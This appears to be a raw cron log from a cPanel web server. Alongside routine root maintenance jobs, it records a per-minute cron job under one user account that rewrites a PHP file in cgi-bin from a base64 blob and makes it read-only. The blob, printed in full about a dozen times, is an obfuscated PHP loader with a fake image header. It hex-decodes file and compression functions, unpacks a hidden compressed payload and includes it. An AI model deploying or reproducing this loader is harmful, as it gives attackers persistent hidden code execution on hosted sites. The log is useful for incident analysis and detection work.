Nov 13 18:11:01 server CROND[2452]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:12:01 server CROND[3426]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:12:01 server CROND[3427]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 18:13:01 server CROND[4295]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:14:01 server CROND[5156]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:15:01 server CROND[6024]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 18:15:01 server CROND[6026]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 13 18:15:01 server CROND[6027]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 13 18:15:01 server CROND[6028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 18:15:01 server CROND[6029]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:16:01 server CROND[6717]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:17:01 server CROND[7536]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:18:01 server CROND[8038]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:19:01 server CROND[9062]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:20:01 server CROND[9927]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 18:20:01 server CROND[9929]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 18:20:01 server CROND[9928]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 18:20:01 server CROND[9930]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:20:01 server CROND[9932]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 18:21:01 server CROND[10859]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:22:01 server CROND[11756]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:23:01 server CROND[12716]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
